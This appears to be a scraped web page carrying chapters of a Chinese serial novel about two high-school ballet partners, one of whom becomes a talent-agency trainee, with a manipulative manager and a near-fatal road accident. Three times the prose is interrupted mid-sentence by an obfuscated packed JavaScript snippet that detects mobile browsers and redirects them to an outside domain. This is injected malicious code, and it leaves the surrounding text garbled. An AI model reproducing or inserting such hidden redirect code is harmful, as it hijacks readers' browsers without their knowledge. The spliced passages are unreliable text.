回应她的是小姐姐的摇晃起来的手，小素熙即将离开时，村口的大树旁突然跳出来一个脏兮兮的女人，朝着素熙就是一阵吼。 吓得素熙跑起来，不留神踩在石子上摔倒在地。 好险的是，回头再看，疯女人已经不见了。 “好可爱的小朋友，你怎么摔倒在这里了。” 短短的距离里，她似乎就是走不到妈妈面前。 转回来的时候，妈妈并不在原本的地方，素熙站着一位穿着清新，盘着头发的优雅女士。 “小妹妹，你没事吧。” “老师！你回来了！” 跑过来的小姐姐一边扶起素熙，一边惊喜地对这位女士喊道。 “老师？”小素熙也抬头看，只觉得面前的大姐姐长得好美。 “你好漂亮。” “怎么说这样甜甜的话，更可爱了。” 小脸被对方轻轻揪了一下，小素熙还是被大姐姐迷得回不过神。 “怎么还在看我？” “就这么喜欢我这张脸呀。” 素熙愣愣点头，后知后觉涌上一些害羞。 大姐姐拍拍她的脑袋，鼓励状说：“那就好好长大，长成我的样子吧。” 小孩子高兴地点头说嗯。 小姐姐的老师带着她朝村子里走，素熙也终于走出村子，看见了村边大树旁的妈妈。 “素熙，我的宝贝。你有没有事？” “妈妈，我很好，我被一个小姐姐救了......” 素熙兴奋地想说出自己的经历，但却累得睡倒在妈妈怀里。 “妈妈，我醒来再告诉你哦。” 可惜的是，醒来之后，所有的一切都变得模糊，也变得没那么重要。 不过，素熙记住了西瓜加上香蕉可以吃出西瓜慕斯蛋糕味道这件事情。 于是，放学回家的素熙决定去采购一番，做出来给珍星吃。 不喜欢西瓜口味却喜欢西瓜的珍星，应该会喜欢吃这个吧。 抱着这样的心情，素熙来到了附近的市场，比起超市她更喜欢这里。 人声鼎沸，很热闹，而且阿姨们卖得会比超市里的便宜，这是最重要的一点了。 因为妈妈常常因为工作不在家，素熙有很多时间来做自己好奇的食物。 如果妈妈当初给她报的是厨艺班，也许她现在会更快乐吗？ 虽然对芭蕾舞也有了喜爱的理由，但素熙仍旧有些迷茫。 说起想做的事情，素熙想起什么，拿出手机，在短信箱里翻找着某条忘记回复的消息。 【亲爱的素熙，我们几个打算在周六上午去那家经纪公司面试，你也一起来嘛，好吗？ ——爱你的真真】 如果，只是抱着看一看的想法，过去也没什么吧。 反正，也不可能轻易选上吧。 素熙于是回答了好的回复。 与此同时，她在市场里逛了半天才看见的西瓜，在自己低头回短信的时间里，居然就已经被卖出去了。 素熙遗憾地看着走远点买家，神情出现片刻怔滞。 “很熟悉的背影呢。”素熙轻声说。 没有西瓜，她于是买了香蕉，又拿起手机，打开通讯录。 向完全不需要翻找的第一位联系人发短信。 【明天要跟乐队姐姐们去上次递名片的那家娱乐公司面试，珍星也来好吗？就当来陪我可以嘛，可以嘛可以嘛(*?▽?*) ——好朋友素熙】 珍星收到了备注朴素熙的信息。 彼时，在校外便利店准备买一些小卖部没有的生活用品的她，被熟人叫住。 “那个，珍星——” “嗯？是惠珠啊，怎么啦？” “我好像买太多了，吃不完，要一起吗？” 惠珠小跑着进来，珍星却在略微心虚地遮住桌子上自己泡好的方便面。 为了保持身材和状态，泡面这些东西，是绝对不可以吃的。 吃完第二天不仅有可能浮肿，而且对身体也并不健康。 可是泡面里藏着的自由味道，怎么可能让人不想追逐呢？ 珍星偶尔会在空闲时刻偷偷过来吃上一份，不过现在发现她的人是惠珠，倒是没那么紧张了。 惠珠不会告诉别人，事实上，任何一个人看见她在吃泡面，都不会随便说出去。 因为，这并不好笑。 想通之后的珍星才反应过来惠珠刚才跟自己说了什么。 “哦、嗯！是西瓜，一整个。” “哇哦惠珠，你在哪里买到的？” 现在的时节并不是西瓜正当熟的季节，珍星在惊讶之余。 也反应过来惠珠似乎也是从小在首尔长大的孩子。 嗯，有钱人家的孩子。 西瓜本来就很贵，惠珠居然还在不是季节的时候买到了，这一定很贵吧。 “我，我吃这个就饱了。” “可是，不现在吃完的话，带回寝室也会坏掉。” 惠珠低着头，很是为难的样子。 珍星对于西瓜的态度，虽然算不上小狗见了肉骨头，但也是会流口水的程度。 同样昂贵的草莓，她更喜欢甜滋滋的西瓜。 “而且，我还没有感谢你和素熙帮我的忙。” 说到这个，珍星更加心虚了。 下午她们在地下室里都没怎么好好跳出舞，惠珠这边自然没有画出设计稿。 不过，时间并不算紧张到一刻也不容松缓。 否则，不需要别人催促，珍星自己也会因为紧张而行动。 “那就谢谢我们惠珠啦。要吃泡面吗，我请你。” 西瓜的价值虽然很高，不过，珍星觉得自己现在答应惠珠的分食邀请带给她的情绪价值是对等的，所以她并没有再拒绝。 愉快答应的同时也帮忙把西瓜放在桌上，带着惠珠去选泡面。 “想要奶油蘑菇味吗？” 珍星看见惠珠向上望的视线，主动开口问。 惠珠轻轻点头，但却并未伸手，珍星不见她动作，扭头看她。 “不拿吗？”珍星疑惑地问。 惠珠还是没动，只是用一种单纯的目光看着她，这眼神里还有一种下意识的可怜兮兮。 弱者只要用这样的眼神看着善良的强者，就能什么都不用做，只要等着被救。 如果等不来呢？ 那就一直受欺负，直到有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“超级美味，不过我们现在没有香蕉，你之后有机会可以试试。” 珍星一边说，一边拿起手机。 原来是在交谈的过程中手机一直响个不停，让她不得不停下来检查。 “哦——是素熙的消息。”因为身边有人，珍星选择说一下。 是素熙发现珍星迟迟没有回消息，担心她于是一直在发消息。 【莫拉古？珍星你在忙吗？】 【忙完了吗，快理理我吧珍星。】 【珍星——珍星——你还在吗？】 【珍星——你在哪里。】 正在编辑回复消息的时候，素熙的电话打来，珍星于是接起电话。 “我没有事，在校外的便利店吃东西没看手机啦。” 她一边解释，一边看惠珠，无声询问对方可不可以提起她。 惠珠深呼吸一口气。 好像是第一次，有人这样问她的意见。 虽然被很多人可怜过也讨厌过，可是可怜她的人总会帮她做好选择，至于讨厌她的人们也更不会关心她的想法。 她是怎么想的呢？ 惠珠摇头，她无声地回答：请不要让素熙知道。 于是珍星自然地说自己吃完东西就要回去了让素熙别担心。 “好哦。那你明天来陪我去面试好不好？” 珍星原本不打算答应，但看着旁边安静的惠珠，不知怎么又想起了也许正在某个公园长椅上坐着的孤单素熙的模样。 她感觉心软软的。 “好。明天我来你家楼下那条路等你。” “好耶！那我给你准备早餐。珍星你最好啦，我爱你哟。” 电话挂断，惠珠已经自己泡好了面。珍星也走了过去。 “那就速战速决吧！吃完我们一起回去吧。” 珍星发出邀请，惠珠腼腆一笑。 谁都没注意到，便利店正对面的巷子站着的女生，和她们同样的制服。 黑长直的头发挡住她的脸，立在脸前的手合上了翻盖手机。 她似乎叹了一口气，但最后也只是提着黄色袋子里的香蕉转身。 “珍星呐——”她的声音散在风里，连带着阴郁的眼神，也完全隐藏进了巷子里。 21. 挣扎 天光乍明，新的一天犹如拉开窗帘的声音，清脆中带着一帆风顺的愿景。 珍星看了看自己为数不多的衣服，虽然很想再穿那件红色牛角扣大衣。 但现在已经是夏天了。 思来想去之下还是穿上了学校的夏季制服，只在外套了一件薄款外套。 翻开手机时间显示在七点，距离约好的时间还有一小时。 虽然珍星并不是喜欢记录数字的人，她不会去特别地想今天是和素熙第二次出去玩，但心里是期待的。 比起专门为了什么事情而出门，有时候她更享受这样的“顺风之行”。 半小时一晃而过，扎着马尾辫的少女提着街头早餐店卖的黑豆浆缓缓走向素熙家楼下的街道。 心情颇好的她在爬山虎墙壁下的涂鸦地砖上轻轻跳跃，踩中——跳走——再踩中。 小幅度地跳起了舞，宛若动画电影芭比里十二位跳舞公主的经典场景——在鲜花地砖上，跳出固定的动作，就能穿越到另一个美好世界。 当素熙提着食盒下楼梯的时候看见的就是这样的珍星。 清晨的阳光如薄纱披在她身上，而珍星是轻飘飘的云雀。 人们向往她的自由，却以禁锢住自由小鸟来渴求自己的自由。 素熙伸出一只手，静静地画出这只云雀的身形，浅浅一笑后，她跳走下台阶。 热情洋溢，甜美饱满的声线在说：“早上好！珍星。” “早安素熙，请你喝这个！”珍星拿出一杯黑豆浆，但还没等对方接过去又收回。 “诶？” “有点烫，我们放凉一会儿再喝吧。”珍星突然想起来什么，对着素熙一笑。 于是轮到素熙神秘地拿出手里的餐盒，两个人坐在路边长椅上，一边等公交一边解决早餐。 “铛铛铛——早餐是水果沙拉。” “特别秘方是用蜂蜜代替糖浆，好吃又健康。” “试试看？” 素熙用叉子插起一块沾满蜂蜜的香蕉递到珍星嘴边，对方毫不犹豫地张嘴吃下，这让她心里又多了几分高兴。 公交车到站，她们也顺利地在找到相邻座位，素熙坐在窗边也有些兴奋。 “好紧张，但是很期待。” “素熙也会紧张吗？我总觉得什么事情你都能做得很好。” 珍星用着自己独特的方式来安抚她的心。 “不过，我好像也跟着紧张起来了。” “素熙想要什么样的结果呢？” 素熙在起雾的窗户上画出一张笑脸，关于等会儿的面试她并没有想太多。 “不知道诶。我只是很好奇，什么是练习生呢？” “她们也会像我们一样，每天都要练舞吗？” “这样感觉跟跳舞没什么分别。”将自己说得没了兴趣的素熙，决定扭头去看看珍星。 她也完全没有考虑过如果入选了，要做什么。 自己并没有做准备的素熙，觉得自己并不具备入选的资格。 和乐队其他成员见面时，因此成为了最轻松的人。 “看看你们的脸，怎么全部都皱成芝麻饼了。” “不要紧张啦。” 然而，最喜欢讲笑话的主唱姐姐也只是扯开嘴角假装笑了一下。 “怎么可能不紧张，呼——呼——你们也快跟着我深呼吸一下。” 走进公司大楼的几人，在前台处领取了号码牌，四个人的顺序连在一起，素熙排在最后。 五个人坐在等待厅里，素熙好奇地打量着从面试屋里走出来的人。 有的笑容如沐春风，有的丧气无精打采。 听见屋子里传来的歌声，素熙这才感到意想不到，随即拉着身边珍星的手小声说。 “居然还得唱歌，完了，我声乐超级烂。” 珍星安慰着她没事，面试官肯定会从很多个方面来考核。 “不过，我好像没有听过素熙唱歌。” “等会可以唱大声点，让我听一下莫？”珍星狡黠地扬起嘴角，眼睛里全是笑意。 素熙一看就知道她在打趣自己，趴在珍星肩膀上轻轻拍着她的背。 “早知道刚才帮珍星你也拿一张号码牌，这样你才不会这么轻松。” “好啦。加油哦。” 珍星作为局外人完全没有任何负担，笑眯眯地目送着素熙进去了。 十几分后素熙出来了，和乐队其他成员的三分钟一个人比起来，她面试的时间简直长得不像话。 “看来我们素熙要做练习生了。”主唱姐姐倒没有什么不满，反而兴致勃勃地做着预判。 “我的朋友里有人要做练习生了，等会儿我一定要让素熙给我写几张签名。” 珍星听见这番话，脑子里有根筋跳动了一下。 “如果，素熙要去做练习生，那么......” 细微的想法止在这里，珍星想，这也许对于素熙而言是一个好机会。 因为她并不喜欢芭蕾。 素熙走出来对着众人哭丧着一张脸，反而和大家的预判相反。 “怎么黑着脸？” “出什么事了吗？”珍星走过来关心。 素熙拉着她的手，惴惴不安地问：“珍星，我要是被选上了怎么办？” 下一秒主唱姐姐跑过来勾住她的脖子，一副被骗到了之后的表情，素熙也随即爆发出一阵笑声。 “好啊，我们素熙学会捉弄大家了。” “我就说你有这么一张脸，怎么可能选不上。” 素熙笑了之后，又继续说：“不过，我刚刚问面试官，能不能让我们的乐队进去表演一次，你们猜面试官怎么说？” 来面试的人很少会像素熙这样，大家都生怕自己选不上而不敢说什么，素熙则是完全不在意结果，因此反而向面试官们提出了要求。 “拒绝了吗？”贝斯手不安地问。 “叮！错误。” 素熙招呼着大家，走向另一间房间。 “她们答应了，叫我们去器乐室，那里有别的老师来看我们表演！” 乐队的人把素熙围在中间，十分高兴。 “不愧是我们素熙。” 虽然并非故意，但珍星此时站在了角落里，她为大家的感情而感到开心。 但在看见素熙的笑脸时，产生了一点迷茫。 如果，素熙真的去做了练习生，她们之间的距离会越来越远吧。 “珍星——珍星——” “怎么不理我？” “哦——不好意思走神了。” 素熙摇摇头表示没事，她退到后面来只为和珍星一块走路，乐队其他三人则在前面聊天。 她们正在去吃庆祝餐的路上，庆祝乐队全员都被选上。 下一周就会开启练习生活。 至于珍星的担忧，被素熙用极为乐观的设想暂时抚平。 “那个理事说了，我只要在放学过去练习一会儿就可以啦。” “不会耽误我们一起练舞的时间，而且晚上回家我还可以继续练习我们的双人舞。” 她并不是没有察觉到珍星可能有的忧虑，但她有自信自己能处理好这些事情。 而比起这些，珍星更加关心的是——“素熙你喜欢吗？” “莫？” 突然认真的问题让她有些反应不过来。 “素熙喜欢做这件事情吗？” 意识到珍星在问自己是否真的喜欢做练习生这件事情，素熙脑子里闪过短暂的迷茫。 但很快她给出了回答。 “我觉得这样好像很有趣。” “而且珍星你有时候很忙，我找不到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15644432|172741||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你，也可以找点事情做。” 素熙是这样定义的，将练习生活作为珍星不在时消磨时间的事情。 “这样吗？可我觉得素熙你很辛苦，如果每天都往返的话。” 珍星的话说到一半又止住，她发现自己似乎没有立场去劝素熙放弃。 仔细想想，似乎也找不到理由。 她不知道也不愿承认，自己有一些害怕。 “不过，你可是素熙，肯定能做好的。” “粗卡嘿，恭喜你素熙。” 珍星的伪装总是这样，在意要装成不在意，素熙平时总会戳破她的这一面。 “你明明就很在意我吧，我们珍星，真是不诚实的孩子。” 可这一次，明明察觉到珍星的纠结，素熙却选择掠过。 “好哦。” 这不是在赌气，只是她想知道，珍星到底有多在意自己。 一分，还是十分呢？ 当然，素熙真的觉得自己可以平衡好两件事情。 于是，她的练习生生活就这样开始了。 周一，金老师检查编舞，虽然肯定了两个人的创意，但却对表现效果不满意。 “好好再打磨一下，只是以现在的状态表演，我觉得不怎么样。” 理所应当的，珍星在课后提出了和素熙一起改进的邀请。 “可是......”素熙念出了手机短信里与公司约定的时间。 “他们的车已经停在学校外面了。” “这样吗，那素熙你先去练习，我们晚点再在手机上聊好了。” 珍星自顾自地补充：“也不是很要紧的事情。” 看见的却已经是素熙跑开的背影，她只能大声嘱咐。 “路上小心呀，素熙！” “内！” 幸好，素熙听见了，并一如既往的对珍星笑起来。 周二，素熙因为前一天练习太久，累得没办法再准备早餐。 虽然珍星很久以前就让素熙不要再为自己准备早餐，但由于素熙的坚持，两个人一起分享早餐这件事情似乎已经成为了默认。 于是，今日两人的早餐，只有珍星在小卖部买到的两盒牛奶。 尽管下课后两个人就去了小卖部买吃的，肚子并没有饿太久。 但珍星好像已经意识到什么了。 上课的时候，她用书挡着脸，体贴地说：“明天我来带早餐吧。” “你真好，那后天的早餐我来准备！”素熙元气满满地说。 珍星笑了笑：“我只想你不要太辛苦。” “会心疼我吗？”素熙趴在桌子上问她。 珍星没有回答是与否，反而嗔笑一下。 “难道素熙是靠着我的心疼而活吗？” “再忙也要照顾好自己的健康呀你。” 素熙傻傻一笑，心里却在想着珍星的问题。 也许是呢。 不过，这样风平浪静的一天，两个人之间作下的约定，无法实现似乎早已预见。 周三早上素熙踩着上课铃进来，小声抱怨着自己昨天又在公司练习到深夜才回家。 “今天差点就没有听见闹铃，还好我妈刚好在家，叫醒了我。” 珍星一面心疼，一边将温热的牛奶递给她。 而周四，素熙自然又是差点迟到，也就没有时间准备早餐或者买吃的。 但珍星只是平静地拿出买好的早餐，她似乎早就预料到了这样的情况。 素熙感动地抱住她，嘴上是甜言蜜语，可她的心其实和此刻的珍星一样。 都觉得，她们好像离对方越来越远了。 该怎么做呢？ 因为不知道，说出挽留的话会不会是在阻碍对方，而按捺。 因为不知道，对方是否真的需要自己，而假装岁月静好。 22. 真心，珍星 其实回过头来想一想，我们之间原本就是很草率的关系，不是吗？ 如果问素熙什么时候感觉到失去一切的坠落感，好像是从珍星那个眼神开始。 “今天我们得去找惠珠了？” “什么，惠珠给你发消息了吗？” 素熙趴在课桌上的手支起来，睡眼惺忪的她似乎没有听懂珍星的话。 但等她意识回笼，想要问珍星为什么惠珠会给她发消息而不是自己时，已经不是最好的时间点了。 于是，她心底那点不意，没办法再说出口了。 珍星没说话，只是指了指门口。 “哦哦！是惠珠来找我们了。” 素熙意识到原来是自己想错了。 匆忙站起来去找惠珠，她不自觉地将跟随而来的珍星挡在自己身后。 尽管她的心没有意识到，但她的身体语言却在说——不要看见珍星。 不可以，越过我来找珍星。 然而她却挡不住珍星越过她，而素熙却没有办法阻拦。 “你上次没能参与讨论，还是让我跟惠珠说吧。” “等你练习完，周六我再帮你梳理动作怎么样？” 珍星一边走到门口走廊对着惠珠点点头，一边继续地体贴着素熙。 “再回去休息会儿吧，你不是很累嘛。” “其实......”素熙犹豫着，想说些什么。 但珍星已经低着头去看惠珠交给她的手稿，丝毫没注意素熙这边的纠结。 素熙也随之投去视线，手稿上的角色置身于苍凉的战场上，相互拥抱着流下泪水。 互相误解的两位王后，终于在生死之际互诉衷肠。 原来已经是这个时候，距离暑假还有一周，也代表距离校园大赛的时间不足一周了。 素熙本来没觉得自己做练习生的日子有多久，这样算起来，居然快要一个月了。 也许，她还会继续做下去，素熙默默地想着，于是闭上嘴。 吞下了口中的果实，那句“其实”。 等珍星再回头问素熙刚刚想说什么时，素熙只是摇摇头轻松一笑。 “我只是想问珍星，要不要来看我练习？” “练习生的生活，我跟你说，真的超......” “不，我不想听。” 珍星对着她笑，但笑容里没有什么真心，语气也是一样的冰冷。 素熙仿佛抓住什么般追问她：“珍星你，是不喜欢我去做练习生吗？如果......” “不，这是素熙你的事情，我没有权力去干涉。” “只要素熙你喜欢就够了，我没有不喜欢。” 赌气一般的话被珍星说得反而有了真心。 真是不妙啊。 素熙跟在珍星后边进去，错愕她们之间似乎已经保持这样一前一后的关系，很久了。 为什么珍星不劝自己放弃呢？素熙分明感知到了珍星的不开心。 难道真如珍星嘴上说的那样，是为了不耽误自己。 是为了让自己做喜欢的事情吗？ 可是，素熙也并没有多喜欢这样的日子，她一次次在珍星面前说累的时候，渴望的是珍星说出那句：“那就不要做了，和我继续跳芭蕾吧，素熙。” 就像，那一日，在台阶上，珍星闪闪发光的眼眸里满是自己的样子，那样虔诚地对自己伸出手。 “和我一直跳下去吧，素熙。” 素熙渴望珍星这样说，可她没有。 一些罗曼小说里总是这样刻画主人公之间的矛盾。 一开始像一根意外的衣物上掉下的毛线，骚扰着皮肤，有一些轻微的不妙。 然后衣服越来越破，直到有一天没办法再穿了。 主人公中一个想要丢掉，一个认为还能再缝补，因为这样一件小小的事情，这样一个小小的分歧，却如火山喷发般，爆发了一场无法挽救的争吵。 接下来也许是两人就此别过，也许是两人抱头痛哭。 素熙害怕这一天，也期待这一天。 “珍星......我想，我想说......” 上课铃响起来，她再次失去诉说的勇气。 同时疑惑着，为什么珍星不说出让她放弃的话。 会不会是因为，她对珍星而言根本没那么重要。 她对于珍星而言，没什么价值。 恐怖的是，她们之间并没有吵架，从表面上看，珍星对自己的态度也没有变差，而是越来越包容，越来越体贴。 除了偶尔，像刚才那样，珍星对自己露出冷冰冰的眼神。 说着这般带着情绪的话，在她上前试探时，又突然冷静下来。 重新戴上那种宽容的面具，她像一个真正为自己好的朋友。 “周六，我会准时到的，珍星。” 素熙决定把周六作为终结日，无论现状如何，她都不会再让局面一直这样下去。 她要知道珍星的真心。或者告诉珍星，自己的真心。 然而，珍星却只是带着淡淡的笑容，似乎根本没将素熙这句话听进心里。 “不来也没有关系的，只要发给消息给我就行。” “你那边比较要紧。” 在她说完这句话后，素熙也只是捏捏她的手，再次强调自己会到。 珍星其实想听到的也不是这样的保证。 她想听见素熙说：“我不想再当练习生了。” 可素熙并没有，甚至在说了那么多次苦与累之后，依旧选择继续。 如果素熙这样热爱，她没理由再说什么。 她唯一能做的，只有提前适应这样的日子——在某天清晨，她照常来到教室，身边的位置再没有关于素熙的一切，她会重新回到一开始的日子。 珍星对自己说，没什么大不了的，又不是失去一切，只是回到最开始。 她曾经经历过的模糊到想不起来具体的某日而已。 有的人喜欢将离别说得浓重又声势浩大，珍星害怕这样，她只希望一切静悄悄的，无论开始还是结束，都让她能照常地活下去。 千万不要因为什么的改变，而让她也跟着改变。 所以，她只要维持现状好了。 可不知怎么，素熙今天格外恳切，她一次次对珍星说：“周六我会到的，真的会赶来的。” “到时候，我有话想对珍星说。” “好，我等你，素熙。” 于是珍星最后还是改变了想法，露出了笑容，眉眼之间依旧忧郁。 但她选择信任素熙。 回到那个浪漫的罗曼故事吧，主人公之间虽然解决了那个关于缝补毛衣的小矛盾，但很快，她们之间就迎来了一个大矛盾。 其实也很简单，无非就是一个人庄重地承诺了，而另一个人信了，结果没能履行。 如果其中存在着某些无法说开的误会，又因为时间关系，彻底无法说开。 如果是这样的话，结局就只剩下了背道而驰。 珍星在周六的早晨收到了联系人朴素熙同学的短信。 【今天有外出公演，和你原本的约定先取消，等我回来后再联系吧。】 不知为何，珍星的心感觉静静的，无喜无悲。 收到消息的瞬间，从床上坐起来的自己，蓦地就倒下去。 重新躺在床上，珍星没有回消息，只是拉住被子，盖在头上，完全将被子罩住自己。 人会因为这样而死吗？珍星不知道。 “是谁动过我的手机了吗？” 结束公演的素熙在经纪人背包里翻出自己的手机，发现自己原本编辑好的消息不仅被篡改，而且已经发送到了最顶上，那个一眼就能看见的联系人手机上。 但她还是保持住了冷静，只是轻声问。 等到经纪人淡然回复：“是我。” 甚至还有些得意：“你们这个年纪的小女生能有什么矛盾，你朋友要是真的拿你当朋友，肯定不会介意你的失约，你要是做好了线下公演有了名气，以后真的成为了明星，你朋友巴结你还来不及。” 素熙其实已经气到了极点。 不仅仅为经纪人私发消息这件事情。 周五来到公司训练，素熙本想直接提出退出，但这位经纪人突然把她和乐队的其他姐姐们聚过来。 “孩子们，还记得你们之前说过想以乐队身份表演这件事吗？今晚有个表演舞台，快点收拾一下东西跟我走吧。” 只是晚上表演，结束之后她就打车回家。 不会错过与珍星的约定，还能和姐姐们一起实现梦想。 素熙于是和其他人一起上了面包车。 过去时车开了很久，几个人在车上叽叽喳喳讨论着接下来要怎么表演。 兴奋过后是冷静，是疑惑。 “可是那个大叔没有告诉我们要表演的曲目吧。” 下车时，素熙主动问了情况，不仅发现她们已经被拖到了十里八乡的远郊，还发现跟着一起来的不只是她们。 这倒没什么，看起来是公司的拼盘演出，把艺人和练习生都聚在一起了。 “经纪人叔叔，我们乐队待会儿要表演什么，你还没告诉我们。” “这个啊，你们先去换衣服，等会儿我再跟你们说。” 换衣服的时候，素熙发现不对劲了，为什么大家都穿差不多的衣服，有的人甚至穿的是同一个款式。 如果说是队服，可她们作为乐队演出，也需要和其他表演者区分开来吧。 “那个......”抱着疑惑，素熙开口了。 经纪人大叔却直接打断：“我忘了告诉你们，因为表演太多的缘故，时间上调整不过来，你们的乐队演出改成了练习生亮相秀。” “等会儿你们要上台表演上周练习的曲目，没问题吧？你们可是这一批里最优秀的练习生哦。” 经纪人的吹捧并不能麻痹素熙的大脑，她想问对方是不是骗了她们。 其实根本就没有所谓的乐队演出，只有这个。 “那个，我们的表演要持续多久呢？” “我们会在这里开为期两天的show哦，请大家放心，我们已经在刚刚和你们的家长全部联系完毕告知了情况，你们的安全我们也有请专业人员保障。” 与其说是安保，不如说是监视者。 素熙意识到这次上当受骗时已来不及。 但这并不能打消她的决心。 “那个，我想要放弃，我要回去。” “嗯？我记得你叫素熙是吧，来公司不到一个月就能上舞台，可是很不容易的。” “错过了这一次，说不定，你就再也没有机会了。” 一开始经纪人好言相劝。 后来是半威胁。 “这里很偏，如果没有公司的人送你回去，很可能出危险哦。” “你这样女孩子，最容易出事了，一打开社会新闻全都在讲你这样的花季少女不幸遇害的案子。” 年长且富有经验的经纪人知道该怎么拿捏眼前的少女。 恐吓完毕，他又笑了笑。 “表演就要开始了，先去准备吧，素熙。” “你知道吗？在这一批练习生，你是最出挑的存在，机会就在你眼前，唾手可得的苹果丢掉了很可惜吧。” “而且我们这里有录像，到时候你还可以给你的家人朋友们分享，多么有意义的一件事情，不是吗？” “可是，我已经和我的亲故说好了，明天，明天我有重要的话要跟她说。” 素熙有些动摇，经纪人说的话，也戳中了她的一些忧虑。 无论如何，她也只有十七岁，会害怕会不安，会期待。 “那就在电话里说好了，我们明天就会回去，你跟她延迟一下约定时间，没什么的。” 经纪人也不想再和她纠缠，说完建议就去催促其他女孩。 于是素熙拿着手机编辑起了消息。 可直到，上台前，她也没能写完，经纪人也因此收走了她的手机。 这一搜，再拿到手机就是第二天早上，也就是周六。 她们这些孩子几乎一整夜都没睡，晚上急匆匆地表演了一场之后，就被拉着在附近的室内拍摄宣传预告片，美其名曰节约成本，实际上就是压榨她们。 虽然在等待期间能在椅子上休息一会儿，但周围全是声音，根本无法入睡。 更别提下了舞台就一直在找经纪人，却始终无果，一整晚都不敢说的素熙。 晨间表演终于结束，她们这群练习生算解放了，可以先行回去。 实际上也并不是体贴她们的辛苦，而是等会儿已出道的艺人们会在附近开集体签售会，而她们这群没有正式公开的为了避免暴露或者影响艺人们的签售需要被先行遣送回公司。 简称，防爆。 素熙便是在车上看见经纪人的包，在包里拿出手机，看见了“她”对珍星发的那一条消息。 而经纪人仍在喋喋不休。 “其实你们这个年纪的女孩之间是没有真友情的，你的朋友说不定在背地里还在记恨你。” “我看见了你给她编辑的话，老实说，你根本没必要说那么多，语气还那么忍让，公司对你的人设定位是冷都女，你可以从现在就开始演习一下。” 经纪人拍拍她的肩，一副“我是为你好”的模样。 “可是，您为什么要这样多管闲事？” “是因为您岁数这么大了，还一脸失败的样子，所以就要靠插手别人的事情来满足自己吗？” 素熙说出这种话的时候，脸上还挂着甜美的笑容，语气也没有丝毫的改变。 所以经纪人没能在第一时间体会到她不用敬语说这样嘲讽语句的大逆不道。 “什么？” “我说，经纪人nim，你是狗x子吗？” 素熙堂而皇之的脏话，让身边的人都惊呆了。 “大发！刚刚我听到了什么？” “那个全A练习生，好好脾气小姐朴素熙是对着经纪人说了，狗崽子这种话吗？” 大家对这个经纪人实际上早有不满，仗着自己是公司理事的亲戚整日干涉她们的行为，在公司也就罢了，甚至有的回家了还能收到他的消息，要求做这做那。 一开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她连一个字都不会多说，收拾起自己的东西就走了，走前只对后来在门口的乐队成员们鞠躬说了一句：“对不起。” 比起和经纪人吵起来，对于素熙而言，现在更重要的事情是去找珍星。 她发送了一条又一条消息。 【对不起珍星，那条消息不是我发的。】 【对不起，我不是故意不来的，我现在来找你好吗？】 【如果你现在看见了消息，可以回复我吗，随便什么都好。】 【我会跟你说清一切，请不要不理我。】 消息石沉大海，素熙下意识想要拨通电话，她站在公交车站一边着急地招手打车，一边等待电话被接通。 可惜，嘟嘟嘟之后回答她的是无人接听。 她突然就没有了第二次拨通的勇气，她回顾着这段日子以来发生的事情。 最开始自信满满说着能兼顾好一切的自己，到后来不断试探着珍星的自己。 直到现在，又一次失约的自己。 她在想，为什么第一次的时候会失约呢？ 忘记带早饭，是因为前一天晚上脑子里闪过了其实珍星并不需要，身体好累好想休息这样的念头。 所以，一次又一次失约，她想知道，珍星是否需要自己。 每一次被原谅，似乎都在证明，珍星并不在意自己，她不需要自己。 如果是这样，如果她对珍星没有价值。 那么，她的人生该怎么办？ 素熙在这一刻终于意识到了这个情况—— 但她在无意识间已经走到了车道上，被强光刺了眼，一辆飞驰的车好像已经贴近在自己脸上。 这个瞬间她有了答案。 如果不被需要的话，就丢掉。 “如果没有价值了，你就该在里面呆到死。” 她的母亲在监狱探访的房间，在电话里这样对她的父亲说了。 所以，如果没有价值，就应该去死。 素熙闭上了眼睛，绝望中，眼泪滑落眼角。 “素熙——” 是谁在叫她，幻听吗？ 素熙并不想睁开眼睛，可身体却遭到一阵拉扯。 强有力的拉扯。 面对车祸意外，现实的场景并不如小说里写的那样，她被拉住，闯进了一个温暖的怀抱。 并不是这样。 而是重重地摔倒在地，还害得别人也能跟自己摔下来。 腿上流血了，素熙好像听见骨头的喀嚓声，不知道是自己的，还是她的。 而那个她，在这个傍晚，太阳全部落下的时候，在这样狼狈生死一线的时候，她突然笑了。 “你没事就好了。” “素熙，你没事，真的太好了。” 素熙缓缓转过头朝着声源看去，意识终于回笼，在那个瞬间身体的感官全部恢复。 于是珍星的脸，映入眼帘了。 “你怎么会在这里？” 珍星一次也没有来过这里，因为她说过，她不感兴趣，她也不会来看素熙的练习生活。 其实，珍星这样，早就已经是不想自己去做练习生了。 素熙终于意识到，也终于愿意捡起被自己忽视的，来自珍星的心声。 她以为不被听见的人是自己，但其实，珍星也是。 珍星忽地没了力气，躺在地上，也不起来，只是看着素熙。 “我收到了短信。” “一开始真的很难过来着，感觉很生气。” “我蒙在被子里想，我再也不要理素熙了。” 可是，可是拿起手机想要拨通电话问个清楚的时候，珍星想起的是素熙小心翼翼问自己要不要去看她练习的画面。 比起手机上的质问，她更想当面问问素熙。 于是她来了，从公交车走下来的时候，正好看见呆呆站在马路上的素熙。 在危险来临时，她才知道自己原来并不胆小。 而现在，素熙问她为什么出现。 珍星有无数个理由，好的坏的，热情冷漠，疑问和怀疑。 她什么都没说。 她只是看着素熙笑起来，学着素熙平日里说的那些话。 “我只是突然很想你。” “素熙，我不想你做练习生。” “我想和你好好跳舞，我很喜欢芭蕾，我也很喜欢和你一起做朋友。” 